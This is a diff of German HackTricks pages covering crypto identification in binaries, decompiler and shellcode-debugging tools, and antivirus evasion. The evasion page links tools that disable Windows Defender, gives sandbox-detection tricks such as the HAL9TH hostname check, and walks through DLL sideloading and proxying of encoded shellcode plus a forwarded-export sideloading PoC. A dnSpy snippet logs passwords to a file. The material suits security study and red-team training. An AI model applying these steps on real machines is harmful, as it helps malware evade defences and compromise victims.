- Komplexer als symmetrische Algorithmen
|
||||
- Es gibt keine Konstanten! (benutzerdefinierte Implementierungen sind schwer zu bestimmen)
|
||||
- KANAL (ein Krypto-Analyzer) kann keine Hinweise zu RSA geben, da er auf Konstanten angewiesen ist.
|
||||
|
||||
### Identifizierung durch Vergleiche
|
||||
|
||||
.png>)
|
||||
|
||||
- In Zeile 11 (links) gibt es ein `+7) >> 3`, das dasselbe ist wie in Zeile 35 (rechts): `+7) / 8`
|
||||
- Zeile 12 (links) überprüft, ob `modulus_len < 0x040` und in Zeile 36 (rechts) wird überprüft, ob `inputLen+11 > modulusLen`
|
||||
|
||||
## MD5 & SHA (Hash)
|
||||
|
||||
### Eigenschaften
|
||||
|
||||
- 3 Funktionen: Init, Update, Final
|
||||
- Ähnliche Initialisierungsfunktionen
|
||||
|
||||
### Identifizieren
|
||||
|
||||
**Init**
|
||||
|
||||
Sie können beide identifizieren, indem Sie die Konstanten überprüfen. Beachten Sie, dass die sha_init eine Konstante hat, die MD5 nicht hat:
|
||||
|
||||
.png>)
|
||||
|
||||
**MD5 Transform**
|
||||
|
||||
Beachten Sie die Verwendung von mehr Konstanten
|
||||
|
||||
 (1) (1) (1).png>)
|
||||
|
||||
## CRC (Hash)
|
||||
|
||||
- Kleiner und effizienter, da seine Funktion darin besteht, zufällige Änderungen in Daten zu finden
|
||||
- Verwendet Nachschlagetabellen (so können Sie Konstanten identifizieren)
|
||||
|
||||
### Identifizieren
|
||||
|
||||
Überprüfen Sie **Nachschlagetabellenkonstanten**:
|
||||
|
||||
.png>)
|
||||
|
||||
Ein CRC-Hash-Algorithmus sieht wie folgt aus:
|
||||
|
||||
.png>)
|
||||
|
||||
## APLib (Kompression)
|
||||
|
||||
### Eigenschaften
|
||||
|
||||
- Keine erkennbaren Konstanten
|
||||
- Sie können versuchen, den Algorithmus in Python zu schreiben und nach ähnlichen Dingen online zu suchen
|
||||
|
||||
### Identifizieren
|
||||
|
||||
Der Graph ist ziemlich groß:
|
||||
|
||||
 (2) (1).png>)
|
||||
|
||||
Überprüfen Sie **3 Vergleiche, um ihn zu erkennen**:
|
||||
|
||||
.png>)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,114 +0,0 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
# Wasm-Dekompilierungs- und Wat-Kompilierungsanleitung
|
||||
|
||||
Im Bereich von **WebAssembly** sind Werkzeuge zum **Dekompilieren** und **Kompilieren** für Entwickler unerlässlich. Diese Anleitung stellt einige Online-Ressourcen und Software für den Umgang mit **Wasm (WebAssembly-Binärdatei)** und **Wat (WebAssembly-Text)**-Dateien vor.
|
||||
|
||||
## Online-Tools
|
||||
|
||||
- Um Wasm in Wat zu **dekodieren**, ist das Tool unter [Wabt's wasm2wat demo](https://webassembly.github.io/wabt/demo/wasm2wat/index.html) nützlich.
|
||||
- Für die **Kompilierung** von Wat zurück zu Wasm dient [Wabt's wat2wasm demo](https://webassembly.github.io/wabt/demo/wat2wasm/).
|
||||
- Eine weitere Dekompilierungsoption findet sich unter [web-wasmdec](https://wwwg.github.io/web-wasmdec/).
|
||||
|
||||
## Softwarelösungen
|
||||
|
||||
- Für eine robustere Lösung bietet [JEB von PNF Software](https://www.pnfsoftware.com/jeb/demo) umfangreiche Funktionen.
|
||||
- Das Open-Source-Projekt [wasmdec](https://github.com/wwwg/wasmdec) steht ebenfalls für Dekompilierungsaufgaben zur Verfügung.
|
||||
|
||||
# .Net-Dekompilierungsressourcen
|
||||
|
||||
Das Dekompilieren von .Net-Assemblies kann mit Tools wie:
|
||||
|
||||
- [ILSpy](https://github.com/icsharpcode/ILSpy) erfolgen, das auch ein [Plugin für Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode) anbietet, das plattformübergreifende Nutzung ermöglicht.
|
||||
- Für Aufgaben, die **Dekompilierung**, **Modifikation** und **Rekompilierung** umfassen, wird [dnSpy](https://github.com/0xd4d/dnSpy/releases) dringend empfohlen. **Rechtsklick** auf eine Methode und Auswahl von **Methode ändern** ermöglicht Codeänderungen.
|
||||
- [JetBrains' dotPeek](https://www.jetbrains.com/es-es/decompiler/) ist eine weitere Alternative zum Dekompilieren von .Net-Assemblies.
|
||||
|
||||
## Verbesserung von Debugging und Logging mit DNSpy
|
||||
|
||||
### DNSpy-Logging
|
||||
|
||||
Um Informationen mit DNSpy in eine Datei zu protokollieren, fügen Sie den folgenden .Net-Code-Snippet ein:
|
||||
|
||||
%%%cpp
|
||||
using System.IO;
|
||||
path = "C:\\inetpub\\temp\\MyTest2.txt";
|
||||
File.AppendAllText(path, "Passwort: " + password + "\n");
|
||||
%%%
|
||||
|
||||
### DNSpy-Debugging
|
||||
|
||||
Für effektives Debugging mit DNSpy wird eine Reihe von Schritten empfohlen, um **Assembly-Attribute** für das Debugging anzupassen und sicherzustellen, dass Optimierungen, die das Debugging behindern könnten, deaktiviert sind. Dieser Prozess umfasst das Ändern der `DebuggableAttribute`-Einstellungen, das Rekompilieren der Assembly und das Speichern der Änderungen.
|
||||
|
||||
Darüber hinaus wird empfohlen, um eine .Net-Anwendung, die von **IIS** ausgeführt wird, zu debuggen, `iisreset /noforce` auszuführen, um IIS neu zu starten. Um DNSpy an den IIS-Prozess zum Debuggen anzuhängen, wird in der Anleitung beschrieben, wie man den **w3wp.exe**-Prozess innerhalb von DNSpy auswählt und die Debugging-Sitzung startet.
|
||||
|
||||
Für eine umfassende Ansicht der geladenen Module während des Debuggings wird empfohlen, das **Module**-Fenster in DNSpy zu öffnen, gefolgt von der Öffnung aller Module und der Sortierung der Assemblies für eine einfachere Navigation und Debugging.
|
||||
|
||||
Diese Anleitung fasst das Wesentliche der WebAssembly- und .Net-Dekompilierung zusammen und bietet Entwicklern einen Weg, diese Aufgaben mit Leichtigkeit zu bewältigen.
|
||||
|
||||
## **Java-Dekompilierer**
|
||||
|
||||
Um Java-Bytecode zu dekompilieren, können diese Tools sehr hilfreich sein:
|
||||
|
||||
- [jadx](https://github.com/skylot/jadx)
|
||||
- [JD-GUI](https://github.com/java-decompiler/jd-gui/releases)
|
||||
|
||||
## **Debugging von DLLs**
|
||||
|
||||
### Verwendung von IDA
|
||||
|
||||
- **Rundll32** wird aus bestimmten Pfaden für 64-Bit- und 32-Bit-Versionen geladen.
|
||||
- **Windbg** wird als Debugger ausgewählt, mit der Option, beim Laden/Entladen von Bibliotheken anzuhalten.
|
||||
- Ausführungsparameter umfassen den DLL-Pfad und den Funktionsnamen. Diese Konfiguration stoppt die Ausführung beim Laden jeder DLL.
|
||||
|
||||
### Verwendung von x64dbg/x32dbg
|
||||
|
||||
- Ähnlich wie bei IDA wird **rundll32** mit Befehlszeilenänderungen geladen, um die DLL und die Funktion anzugeben.
|
||||
- Die Einstellungen werden angepasst, um beim DLL-Eintritt zu brechen, sodass ein Haltepunkt am gewünschten DLL-Eintrittspunkt gesetzt werden kann.
|
||||
|
||||
### Bilder
|
||||
|
||||
- Ausführungshaltepunkte und Konfigurationen werden durch Screenshots veranschaulicht.
|
||||
|
||||
## **ARM & MIPS**
|
||||
|
||||
- Für die Emulation ist [arm_now](https://github.com/nongiach/arm_now) eine nützliche Ressource.
|
||||
|
||||
## **Shellcodes**
|
||||
|
||||
### Debugging-Techniken
|
||||
|
||||
- **Blobrunner** und **jmp2it** sind Tools zum Zuweisen von Shellcodes im Speicher und zum Debuggen mit Ida oder x64dbg.
|
||||
- Blobrunner [Releases](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)
|
||||
- jmp2it [kompilierte Version](https://github.com/adamkramer/jmp2it/releases/)
|
||||
- **Cutter** bietet eine GUI-basierte Shellcode-Emulation und -Inspektion, die Unterschiede in der Handhabung von Shellcode als Datei im Vergleich zu direktem Shellcode hervorhebt.
|
||||
|
||||
### Deobfuskation und Analyse
|
||||
|
||||
- **scdbg** bietet Einblicke in Shellcode-Funktionen und Deobfuskationsfähigkeiten.
|
||||
%%%bash
|
||||
scdbg.exe -f shellcode # Grundinformationen
|
||||
scdbg.exe -f shellcode -r # Analysebericht
|
||||
scdbg.exe -f shellcode -i -r # Interaktive Hooks
|
||||
scdbg.exe -f shellcode -d # Dekodierten Shellcode dumpen
|
||||
scdbg.exe -f shellcode /findsc # Startoffset finden
|
||||
scdbg.exe -f shellcode /foff 0x0000004D # Ausführung vom Offset
|
||||
%%%
|
||||
|
||||
- **CyberChef** zum Disassemblieren von Shellcode: [CyberChef-Rezept](https://gchq.github.io/CyberChef/#recipe=To_Hex%28'Space',0%29Disassemble_x86%28'32','Full%20x86%20architecture',16,0,true,true%29)
|
||||
|
||||
## **Movfuscator**
|
||||
|
||||
- Ein Obfuscator, der alle Anweisungen durch `mov` ersetzt.
|
||||
- Nützliche Ressourcen umfassen eine [YouTube-Erklärung](https://www.youtube.com/watch?v=2VF_wPkiBJY) und [PDF-Folien](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas_2015_the_movfuscator.pdf).
|
||||
- **demovfuscator** könnte die Obfuskation von movfuscator rückgängig machen, wobei Abhängigkeiten wie `libcapstone-dev` und `libz3-dev` erforderlich sind, und die Installation von [keystone](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md).
|
||||
|
||||
## **Delphi**
|
||||
|
||||
- Für Delphi-Binärdateien wird [IDR](https://github.com/crypto2011/IDR) empfohlen.
|
||||
|
||||
# Kurse
|
||||
|
||||
- [https://github.com/0xZ0F/Z0FCourse_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse_ReverseEngineering)
|
||||
- [https://github.com/malrev/ABD](https://github.com/malrev/ABD) \(Binärdeobfuskation\)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
**This page was written by** [**@m2rc_p**](https://twitter.com/m2rc_p)**!**
|
||||
**Diese Seite wurde geschrieben von** [**@m2rc_p**](https://twitter.com/m2rc_p)**!**
|
||||
|
||||
## Stop Defender
|
||||
## Defender stoppen
|
||||
|
||||
- [defendnot](https://github.com/es3n1n/defendnot): Ein Tool, um Windows Defender außer Betrieb zu setzen.
|
||||
- [no-defender](https://github.com/es3n1n/no-defender): Ein Tool, um Windows Defender außer Betrieb zu setzen, indem ein anderes AV vorgetäuscht wird.
|
||||
@ -12,84 +12,84 @@
|
||||
|
||||
## **AV Evasion Methodology**
|
||||
|
||||
Derzeit verwenden AVs verschiedene Methoden, um zu prüfen, ob eine Datei bösartig ist oder nicht: static detection, dynamic analysis und bei fortgeschritteneren EDRs auch behavioural analysis.
|
||||
Derzeit verwenden AVs verschiedene Methoden, um zu prüfen, ob eine Datei bösartig ist oder nicht: statische Erkennung, dynamische Analyse und bei den fortgeschritteneren EDRs Verhaltensanalyse.
|
||||
|
||||
### **Static detection**
|
||||
### **Statische Erkennung**
|
||||
|
||||
Static detection funktioniert, indem bekannte bösartige Strings oder Byte-Arrays in einer Binary oder einem Script markiert werden, und indem Informationen aus der Datei selbst extrahiert werden (z. B. file description, company name, digital signatures, icon, checksum, etc.). Das bedeutet, dass die Nutzung bekannter öffentlicher Tools dazu führen kann, dass man eher entdeckt wird, da diese Tools wahrscheinlich bereits analysiert und als bösartig markiert wurden. Es gibt ein paar Wege, um diese Art der Erkennung zu umgehen:
|
||||
Statische Erkennung funktioniert, indem bekannte bösartige Strings oder Byte-Arrays in einer Binärdatei oder einem Script markiert werden, und indem Informationen aus der Datei selbst extrahiert werden (z. B. File Description, Company Name, digitale Signaturen, Icon, Checksum, etc.). Das bedeutet, dass die Verwendung bekannter öffentlicher Tools dich leichter auffliegen lassen kann, da diese wahrscheinlich bereits analysiert und als bösartig markiert wurden. Es gibt ein paar Wege, um diese Art der Erkennung zu umgehen:
|
||||
|
||||
- **Encryption**
|
||||
|
||||
Wenn du die Binary verschlüsselst, hat das AV keine Möglichkeit, dein Programm zu erkennen, aber du benötigst dann einen Loader, um das Programm im Speicher zu entschlüsseln und auszuführen.
|
||||
Wenn du die Binärdatei verschlüsselst, gibt es für AV keine Möglichkeit, dein Programm zu erkennen, aber du benötigst einen Loader, um das Programm im Speicher zu entschlüsseln und auszuführen.
|
||||
|
||||
- **Obfuscation**
|
||||
|
||||
Manchmal reicht es, einige Strings in deiner Binary oder deinem Script zu ändern, um am AV vorbeizukommen, aber das kann je nach Umfang der gewünschten Obfuskation zeitaufwändig sein.
|
||||
Manchmal reicht es aus, einige Strings in deiner Binärdatei oder deinem Script zu ändern, um die AV zu umgehen, aber das kann je nach dem, was du verschleiern willst, zeitaufwendig sein.
|
||||
|
||||
- **Custom tooling**
|
||||
|
||||
Wenn du eigene Tools entwickelst, gibt es keine bekannten schlechten Signaturen, aber das kostet viel Zeit und Aufwand.
|
||||
Wenn du deine eigenen Tools entwickelst, gibt es keine bekannten schlechten Signaturen, aber das erfordert viel Zeit und Aufwand.
|
||||
|
||||
> [!TIP]
|
||||
> A good way for checking against Windows Defender static detection is [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). It basically splits the file into multiple segments and then tasks Defender to scan each one individually, this way, it can tell you exactly what are the flagged strings or bytes in your binary.
|
||||
> Eine gute Möglichkeit, die statische Erkennung von Windows Defender zu prüfen, ist [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Es teilt die Datei im Wesentlichen in mehrere Segmente auf und lässt Defender jedes einzeln scannen; so kann es dir genau sagen, welche Strings oder Bytes in deiner Binärdatei markiert werden.
|
||||
|
||||
Ich empfehle dringend, dir diese [YouTube playlist](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) über praktische AV Evasion anzusehen.
|
||||
|
||||
### **Dynamic analysis**
|
||||
### **Dynamische Analyse**
|
||||
|
||||
Dynamic analysis ist, wenn das AV deine Binary in einer Sandbox ausführt und nach bösartigem Verhalten sucht (z. B. das Versuchen, Browser-Passwörter zu entschlüsseln und zu lesen, einen minidump von LSASS zu erstellen, etc.). Dieser Teil kann etwas kniffliger sein, aber hier sind einige Dinge, die du tun kannst, um Sandboxes zu umgehen.
|
||||
Dynamische Analyse ist, wenn das AV deine Binärdatei in einer Sandbox ausführt und nach bösartigem Verhalten Ausschau hält (z. B. das Entschlüsseln und Auslesen von Browser-Passwörtern, das Erstellen eines Minidumps von LSASS, etc.). Dieser Teil kann etwas komplizierter sein, aber hier sind einige Dinge, die du tun kannst, um Sandboxes zu umgehen.
|
||||
|
||||
- **Sleep before execution** Abhängig von der Implementierung kann ein Sleep vor der Ausführung eine gute Möglichkeit sein, dynamic analysis von AVs zu umgehen. AVs haben nur sehr wenig Zeit, Dateien zu scannen, um den Workflow des Nutzers nicht zu unterbrechen, daher können lange Sleeps die Analyse stören. Das Problem ist, dass viele AV-Sandboxes Sleep-Aufrufe je nach Implementierung einfach überspringen können.
|
||||
- **Checking machine's resources** Üblicherweise haben Sandboxes sehr wenig Ressourcen (z. B. < 2GB RAM), sonst könnten sie den Rechner des Nutzers verlangsamen. Hier kann man auch sehr kreativ werden, z. B. durch Abfragen der CPU-Temperatur oder sogar der Lüfterdrehzahlen — nicht alles wird in der Sandbox implementiert sein.
|
||||
- **Machine-specific checks** Wenn du einen User targeten willst, dessen Workstation in der Domain "contoso.local" ist, kannst du die Domain des Rechners prüfen; wenn sie nicht übereinstimmt, kann dein Programm einfach beenden.
|
||||
- **Sleep before execution** Je nach Implementierung kann das eine gute Methode sein, die dynamische Analyse von AVs zu umgehen. AVs haben nur sehr wenig Zeit, Dateien zu scannen, um den Benutzer nicht zu unterbrechen, daher können lange Sleeps die Analyse stören. Das Problem ist, dass viele AV-Sandboxes den Sleep je nach Implementierung einfach überspringen können.
|
||||
- **Checking machine's resources** Üblicherweise haben Sandboxes sehr wenige Ressourcen zur Verfügung (z. B. < 2GB RAM), sonst könnten sie die Maschine des Nutzers verlangsamen. Du kannst hier auch sehr kreativ werden, z. B. indem du die CPU-Temperatur oder sogar die Lüfterdrehzahlen prüfst — nicht alles wird in der Sandbox implementiert sein.
|
||||
- **Machine-specific checks** Wenn du einen Benutzer anpeilen willst, dessen Workstation der Domain "contoso.local" beigetreten ist, kannst du die Domain des Computers prüfen; wenn sie nicht übereinstimmt, kann dein Programm sich beenden.
|
||||
|
||||
Es stellt sich heraus, dass der Computername der Microsoft Defender Sandbox HAL9TH ist. Du kannst also vor der Detonation in deiner Malware nach dem Computernamen prüfen; wenn der Name HAL9TH ist, befindest du dich in Defender's Sandbox und kannst dein Programm beenden.
|
||||
Es stellt sich heraus, dass der Sandbox-Computername von Microsoft Defender HAL9TH ist. Du kannst also vor der Detonation in deiner Malware den Computername prüfen; wenn der Name HAL9TH ist, befindest du dich in Defenders Sandbox und kannst dein Programm beenden.
|
||||
|
||||
<figure><img src="../images/image (209).png" alt=""><figcaption><p>Quelle: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
|
||||
|
||||
Einige weitere wirklich gute Tipps von [@mgeeky](https://twitter.com/mariuszbit) für den Umgang mit Sandboxes
|
||||
Einige weitere sehr gute Tipps von [@mgeeky](https://twitter.com/mariuszbit) zum Vorgehen gegen Sandboxes
|
||||
|
||||
<figure><img src="../images/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev Kanal</p></figcaption></figure>
|
||||
<figure><img src="../images/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev channel</p></figcaption></figure>
|
||||
|
||||
Wie bereits erwähnt, werden **public tools** früher oder später **entdeckt**, also solltest du dir folgende Frage stellen:
|
||||
Wie bereits erwähnt, werden **öffentliche Tools** früher oder später **entdeckt**, also solltest du dir eine Frage stellen:
|
||||
|
||||
Wenn du z. B. LSASS dumpen willst, **musst du wirklich mimikatz verwenden**? Oder könntest du ein weniger bekanntes Projekt nutzen, das ebenfalls LSASS dumpen kann?
|
||||
Zum Beispiel, wenn du LSASS dumpen willst, **musst du wirklich mimikatz verwenden**? Oder könntest du ein anderes, weniger bekanntes Projekt verwenden, das ebenfalls LSASS dumpen kann.
|
||||
|
||||
Die richtige Antwort ist wahrscheinlich Letzteres. Mimikatz ist wahrscheinlich eines der, wenn nicht das am meisten von AVs und EDRs markierte Tool; obwohl das Projekt an sich super ist, ist es ein Albtraum, wenn es darum geht, AVs zu umgehen. Such also Alternativen für das, was du erreichen möchtest.
|
||||
Die richtige Antwort ist wahrscheinlich Letzteres. Am Beispiel von mimikatz: Es ist wahrscheinlich eines der, wenn nicht das am stärksten von AVs und EDRs markierten Tools. Während das Projekt selbst super ist, ist es auch ein Alptraum, wenn man versucht, es vor AVs zu verbergen. Also suche einfach nach Alternativen für das, was du erreichen willst.
|
||||
|
||||
> [!TIP]
|
||||
> Wenn du deine Payloads zur Evasion modifizierst, stelle sicher, dass du die automatische Sample-Submission in Defender ausschaltest, und bitte, ernsthaft, **DO NOT UPLOAD TO VIRUSTOTAL**, wenn dein Ziel langfristige Evasion ist. Wenn du prüfen willst, ob deine Payload von einem bestimmten AV erkannt wird, installiere dieses auf einer VM, versuche die automatische Sample-Submission abzuschalten und teste dort, bis du mit dem Ergebnis zufrieden bist.
|
||||
> Wenn du deine Payloads zur Umgehung modifizierst, stelle sicher, dass du die automatische Sample-Submission in Defender ausschaltest, und bitte, wirklich, **Lade NIEMALS auf VIRUSTOTAL hoch**, wenn dein Ziel langfristige Evasion ist. Wenn du prüfen willst, ob deine Payload von einem bestimmten AV erkannt wird, installiere dieses auf einer VM, versuche, die automatische Sample-Submission auszuschalten, und teste dort, bis du mit dem Ergebnis zufrieden bist.
|
||||
|
||||
## EXEs vs DLLs
|
||||
|
||||
Immer wenn möglich, **priorisiere die Verwendung von DLLs für Evasion**. Nach meiner Erfahrung werden DLL-Dateien in der Regel **viel seltener erkannt** und analysiert, daher ist es ein sehr einfacher Trick, um in manchen Fällen die Erkennung zu umgehen (vorausgesetzt, deine Payload kann als DLL ausgeführt werden).
|
||||
Wann immer möglich, priorisiere die Verwendung von DLLs für Evasion. Nach meiner Erfahrung werden DLL-Dateien üblicherweise deutlich seltener erkannt und analysiert, daher ist es ein einfacher Trick, um in manchen Fällen eine Erkennung zu vermeiden (vorausgesetzt, deine Payload kann als DLL ausgeführt werden).
|
||||
|
||||
Wie wir in diesem Bild sehen, hat ein DLL-Payload von Havoc eine Detection-Rate von 4/26 in antiscan.me, während der EXE-Payload eine Detection-Rate von 7/26 hat.
|
||||
Wie in diesem Bild zu sehen ist, hat ein DLL-Payload von Havoc eine Erkennungsrate von 4/26 bei antiscan.me, während der EXE-Payload eine Erkennungsrate von 7/26 hat.
|
||||
|
||||
<figure><img src="../images/image (1130).png" alt=""><figcaption><p>antiscan.me comparison of a normal Havoc EXE payload vs a normal Havoc DLL</p></figcaption></figure>
|
||||
|
||||
Jetzt zeigen wir einige Tricks, die du mit DLL-Dateien verwenden kannst, um deutlich stealthier zu sein.
|
||||
Nun zeigen wir einige Tricks, die du mit DLL-Dateien verwenden kannst, um viel stealthier zu sein.
|
||||
|
||||
## DLL Sideloading & Proxying
|
||||
|
||||
**DLL Sideloading** nutzt die DLL-Suchreihenfolge des Loaders aus, indem die victim application und die malicious payload(s) nebeneinander positioniert werden.
|
||||
**DLL Sideloading** nutzt die DLL-Suchreihenfolge des Loaders aus, indem die Opferanwendung und der bösartige Payload nebeneinander platziert werden.
|
||||
|
||||
Du kannst Programme, die für DLL Sideloading anfällig sind, mit [Siofra](https://github.com/Cybereason/siofra) und dem folgenden powershell script:
|
||||
Du kannst Programme, die für DLL Sideloading anfällig sind, mit [Siofra](https://github.com/Cybereason/siofra) und dem folgenden powershell-Skript prüfen:
|
||||
```bash
|
||||
Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
|
||||
$binarytoCheck = "C:\Program Files\" + $_
|
||||
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
|
||||
}
|
||||
```
|
||||
Dieser Befehl gibt die Liste der Programme aus, die für DLL Hijacking im Verzeichnis "C:\Program Files\\" anfällig sind, und die DLL-Dateien, die sie zu laden versuchen.
|
||||
Dieser Befehl gibt die Liste der Programme aus, die für DLL hijacking im Verzeichnis "C:\Program Files\\" anfällig sind, sowie die DLL-Dateien, die sie zu laden versuchen.
|
||||
|
||||
Ich empfehle dringend, dass du **DLL Hijackable/Sideloadable programs selbst erkundest**, diese Technik ist ziemlich unauffällig, wenn sie richtig angewendet wird, aber wenn du öffentlich bekannte DLL Sideloadable programs verwendest, kannst du leicht erwischt werden.
|
||||
Ich empfehle dringend, **DLL Hijackable/Sideloadable-Programme selbst zu erkunden**, diese Technik ist bei richtiger Durchführung ziemlich unauffällig, aber wenn Sie öffentlich bekannte DLL Sideloadable-Programme verwenden, könnten Sie leicht erwischt werden.
|
||||
|
||||
Nur dadurch, eine bösartige DLL mit dem Namen abzulegen, den ein Programm zu laden erwartet, wird dein payload nicht geladen, da das Programm bestimmte Funktionen in dieser DLL erwartet; um dieses Problem zu lösen, verwenden wir eine andere Technik namens **DLL Proxying/Forwarding**.
|
||||
Nur dadurch, eine bösartige DLL mit dem Namen abzulegen, den ein Programm zu laden erwartet, wird es nicht automatisch Ihren payload laden, da das Programm bestimmte Funktionen in dieser DLL erwartet. Um dieses Problem zu beheben, verwenden wir eine andere Technik namens **DLL Proxying/Forwarding**.
|
||||
|
||||
**DLL Proxying** leitet die Aufrufe, die ein Programm von der Proxy (und bösartigen) DLL macht, an die Original-DLL weiter, wodurch die Funktionalität des Programms erhalten bleibt und du die Ausführung deines payloads handhaben kannst.
|
||||
**DLL Proxying** leitet die Aufrufe, die ein Programm an die proxy- (und bösartige) DLL macht, an die originale DLL weiter, bewahrt so die Funktionalität des Programms und ermöglicht gleichzeitig die Ausführung Ihres payload.
|
||||
|
||||
Ich werde das [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) project von [@flangvik](https://twitter.com/Flangvik/)
|
||||
Ich werde das Projekt [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) von [@flangvik](https://twitter.com/Flangvik/) verwenden.
|
||||
|
||||
Dies sind die Schritte, die ich befolgt habe:
|
||||
```
|
||||
@ -98,35 +98,33 @@ Dies sind die Schritte, die ich befolgt habe:
|
||||
3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
|
||||
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)
|
||||
```
|
||||
Der letzte Befehl wird uns 2 Dateien liefern: eine DLL-Quellcodevorlage und die ursprüngliche, umbenannte DLL.
|
||||
Der letzte Befehl liefert uns 2 Dateien: eine DLL-Quellcode-Vorlage und die ursprünglich umbenannte DLL.
|
||||
|
||||
<figure><img src="../images/sharpdllproxy.gif" alt=""><figcaption></figcaption></figure>
|
||||
```
|
||||
5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL.
|
||||
```
|
||||
Das sind die Ergebnisse:
|
||||
|
||||
<figure><img src="../images/dll_sideloading_demo.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Sowohl unser shellcode (encoded with [SGN](https://github.com/EgeBalci/sgn)) als auch die proxy DLL haben eine 0/26 Detection rate in [antiscan.me](https://antiscan.me)! Ich würde das als Erfolg bezeichnen.
|
||||
Sowohl unser shellcode (mit [SGN](https://github.com/EgeBalci/sgn) kodiert) als auch die Proxy-DLL haben eine Erkennungsrate von 0/26 auf [antiscan.me](https://antiscan.me)! Ich würde das als Erfolg bezeichnen.
|
||||
|
||||
<figure><img src="../images/image (193).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> Ich **empfehle dringend**, dir [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) über DLL Sideloading und auch [ippsec's video](https://www.youtube.com/watch?v=3eROsG_WNpE) anzusehen, um mehr von dem, was wir besprochen haben, tiefergehend zu lernen.
|
||||
> Ich empfehle dringend, dir [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) über DLL Sideloading anzusehen und auch [ippsec's video](https://www.youtube.com/watch?v=3eROsG_WNpE), um mehr über das hier Besprochene im Detail zu lernen.
|
||||
|
||||
### Missbrauch von Forwarded Exports (ForwardSideLoading)
|
||||
|
||||
Windows PE modules can export functions that are actually "forwarders": instead of pointing to code, the export entry contains an ASCII string of the form `TargetDll.TargetFunc`. When a caller resolves the export, the Windows loader will:
|
||||
Windows PE-Module können Funktionen exportieren, die tatsächlich "forwarders" sind: anstatt auf Code zu zeigen, enthält der Exporteintrag eine ASCII-Zeichenfolge der Form `TargetDll.TargetFunc`. Wenn ein Aufrufer den Export auflöst, wird der Windows-Loader:
|
||||
|
||||
- Lädt `TargetDll`, wenn es nicht bereits geladen ist
|
||||
- Löst `TargetFunc` daraus auf
|
||||
- Lädt `TargetDll`, falls noch nicht geladen
|
||||
- Ermittelt `TargetFunc` daraus
|
||||
|
||||
Wichtige Verhaltensweisen, die man verstehen sollte:
|
||||
- Wenn `TargetDll` eine KnownDLL ist, wird sie aus dem geschützten KnownDLLs-Namespace bereitgestellt (z.B. ntdll, kernelbase, ole32).
|
||||
- Wenn `TargetDll` keine KnownDLL ist, wird die normale DLL-Suchreihenfolge verwendet, welche das Verzeichnis des Moduls beinhaltet, das die Forward-Auflösung durchführt.
|
||||
- Wenn `TargetDll` eine KnownDLL ist, wird sie aus dem geschützten KnownDLLs-Namespace bereitgestellt (z. B. ntdll, kernelbase, ole32).
|
||||
- Wenn `TargetDll` keine KnownDLL ist, wird die normale DLL-Suchreihenfolge verwendet, die auch das Verzeichnis des Moduls einschließt, das die Weiterleitung auflöst.
|
||||
|
||||
Das ermöglicht eine indirekte sideloading-Primitive: Finde eine signed DLL, die eine Funktion exportiert, die zu einem non-KnownDLL-Modulnamen weitergeleitet ist, und platziere diese signed DLL im selben Verzeichnis wie eine attacker-controlled DLL, die genau den Namen des weitergeleiteten Zielmoduls trägt. Wenn der weitergeleitete Export aufgerufen wird, löst der Loader die Forward auf und lädt deine DLL aus demselben Verzeichnis, wodurch deine DllMain ausgeführt wird.
|
||||
Dies ermöglicht eine indirekte sideloading-Primitive: finde eine signed DLL, die eine Funktion exportiert, die auf einen nicht-KnownDLL-Modulnamen weitergeleitet wird, und platziere diese signierte DLL zusammen mit einer vom Angreifer kontrollierten DLL mit genau dem Namen des weitergeleiteten Zielmoduls im selben Verzeichnis. Wenn der weitergeleitete Export aufgerufen wird, löst der Loader die Weiterleitung auf und lädt deine DLL aus demselben Verzeichnis, wodurch deine DllMain ausgeführt wird.
|
||||
|
||||
Beispiel beobachtet auf Windows 11:
|
||||
```
|
||||
@ -134,12 +132,12 @@ keyiso.dll KeyIsoSetAuditingInterface -> NCRYPTPROV.SetAuditingInterface
|
||||
```
|
||||
`NCRYPTPROV.dll` ist kein KnownDLL, daher wird es über die normale Suchreihenfolge aufgelöst.
|
||||
|
||||
PoC (Kopieren/Einfügen):
|
||||
PoC (copy-paste):
|
||||
1) Kopiere die signierte System-DLL in einen beschreibbaren Ordner
|
||||
```
|
||||
copy C:\Windows\System32\keyiso.dll C:\test\
|
||||
```
|
||||
2) Platziere eine bösartige `NCRYPTPROV.dll` im selben Ordner. Ein minimales DllMain reicht aus, um Codeausführung zu erreichen; du musst die weitergeleitete Funktion nicht implementieren, um DllMain auszulösen.
|
||||
